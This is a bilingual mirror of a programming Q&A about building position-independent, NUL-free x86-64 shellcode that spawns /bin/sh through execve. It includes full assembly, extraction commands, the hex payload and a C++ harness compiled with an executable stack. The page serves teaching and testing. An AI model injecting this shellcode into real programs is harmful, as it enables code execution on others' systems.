指向没有 .data 部分的独立二进制代码中的字符串的指针 [英] Pointer to string in stand-alone binary code without .data section

查看:50
本文介绍了指向没有 .data 部分的独立二进制代码中的字符串的指针的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试编写某种漏洞利用程序,但在使我的 asm 代码在堆栈上的任何位置运行时遇到了问题.就是这样:

I'm trying to write kind of exploit and have a problem with making my asm code run anywhere on the stack. Here's it:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0

由于选择了行,此代码在堆栈上的任何地方都不起作用,因为此代码可以在堆栈上的任何地方执行,因此 nasm 无法正确计算 arg 的地址.(这是 shellcode 调用的后续不同的系统调用,同时作为单独的代码单独运行和使用 C++ 代码运行时,这就是问题所在.)

This code won't work anywhere on the stack due to selected line because this code can be executed anywhere on the stack so nasm can't correctly compute arg's address. (This is a followup to shellcode calls different syscall while runing alone as individiual code and while running with C++ code where that was the problem.)

我已经很容易地用 jmp/call/pop 技巧替换了字符串,但仍然有指向字符串的指针的问题.

I've easily replaced strings with jmp/call/pop trick but still have a problem with pointer to string.

推荐答案

在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址.您的代码还会使用 mov rdx, 0 等指令在字符串中插入不需要的 NUL 字节.对于将作为字符串插入的 shellcode,您需要使用一组不会引入 NUL 的指令,因为这可能会过早结束字符串,具体取决于它是如何注入到可利用程序中的.

In 64-bit code you don't need the JMP/CALL/POP method since you have the ability to use RIP relative addressing. Your code also inserts unwanted NUL bytes in the string with instructions like mov rdx, 0. For shellcode that will be inserted as strings you need to use a set of instructions that doesn't introduce a NUL as that can prematurely end the string depending on how it is injected into exploitable program.

execve 是定义为:

execve - 执行程序

execve - execute program

int execve(const char *pathname, char *const argv[],
           char *const envp[]);

argv 是传递给新程序的参数字符串数组.经过约定,这些字符串中的第一个(即 argv[0])应该包含与正在执行的文件关联的文件名.envp 是一个字符串数组,通常采用 key=value 形式,它们是作为环境传递给新程序.argv 和 envp 数组每个数组的末尾都必须包含一个空指针.

argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.

如果不使用 envp 你可以传递一个 NULL.argv 需要是指向字符串的指针的 N​​ULL 终止列表.在您的情况下,您正在尝试生成 C 代码的等效代码:

If not using envp you can pass a NULL. argv needs to be a NULL terminated list of pointers to strings. In your case you are trying to generate the equivalent of the C code:

#include <unistd.h>
int main()
{
    char pathname[] = "/bin/sh";
    char *argv[] = { pathname, NULL };
    execve (pathname, argv, NULL);
    return 0;
}

您可以完全在可以作为 shellcode 运行的汇编代码堆栈中执行此操作.以下代码在堆栈上构建 /bin/sh 字符串并将 RDI(路径名)指向它.然后它通过在堆栈上推送一个 NULL 并推送 RDI 中的值来构建以 NULL 结尾的 argv 列表.RSI 然后被设置为堆栈上的 argv 列表.RDX 已归零,因此 envp 列表为 NULL.然后调用 execve(系统调用 59).我创建了一个 shellcode.asm 汇编文件:

You can do this entirely on the stack in assembly code that can be run as a shellcode. The following code builds the /bin/sh string on the stack and points RDI (pathname) to it. It then builds the NULL terminated argv list by pushing a NULL on the stack and the value in RDI is pushed. RSI is then set to the argv list on the stack. RDX is zeroed so the envp list is NULL. The execve (syscall 59) is then invoked. I create a shellcode.asm assembly file with:

BITS 64

global _start
_start:
    ; Build pathname on the stack
    sub rsp, 8                ; Allocate space for the pathname on the stack
    mov rdi, rsp              ; Set RDI to the space that will hold the pathname
    mov dword [rsp], '/bin'   ; Move the first 4 characters of the path into pathname
    mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
                              ;     The '.' character will be replaced with a NUL byte
    xor eax, eax              ; Zero RAX
    mov [rsp+7], al           ; Terminate pathname by replacing the period with 0

    ; Build NULL terminated argv list on the stack
    push rax                  ; NULL terminator
    push rdi                  ; Pointer to pathname
    mov rsi, rsp              ; Point RSI to the argv array

    xor edx, edx              ; RDX = NULL(0) (we don't have an envp list)
    mov al, 59                ; 59 = execve system call number
    syscall                   ; Do the execve system call

使用以下命令将其构建为二进制可执行文件:

Build it into a binary executable with:

nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode

运行 ./shellcode 应该会产生一个 Linux shell 提示.接下来将独立可执行文件转换为名为 shellcode.bin 的 shell 字符串二进制文件,然后使用 HEXDUMP 将其转换为 HEX 字符串:

Running ./shellcode should produce a Linux shell prompt. Next convert the standalone executable to a shell string binary called shellcode.bin and then convert it to a HEX string with HEXDUMP:

objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

HEXDUMP 的输出应该是:

The output from the HEXDUMP should be:

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

注意:输出中没有 NUL (\x00).

Note: There are no NUL (\x00) in the output.

将字符串插入可利用的 C++ 程序调用 exploit.cpp:

Insert the string into your exploitable C++ program call exploit.cpp:

int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}

使用可执行堆栈将其编译为程序exploit:

Compile it to the program exploit with an executable stack:

g++ -Wl,-z,execstack exploit.cpp -o exploit

当使用 ./exploit 运行时,它应该显示一个 Linux shell 提示.strace ./exploit 应该为 execve 系统调用输出:

When run with ./exploit it should present a Linux shell prompt. strace ./exploit should output this for the execve system call:

execve("/bin/sh", ["/bin/sh"], NULL) = 0

execve("/bin/sh", ["/bin/sh"], NULL) = 0

这篇关于指向没有 .data 部分的独立二进制代码中的字符串的指针的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆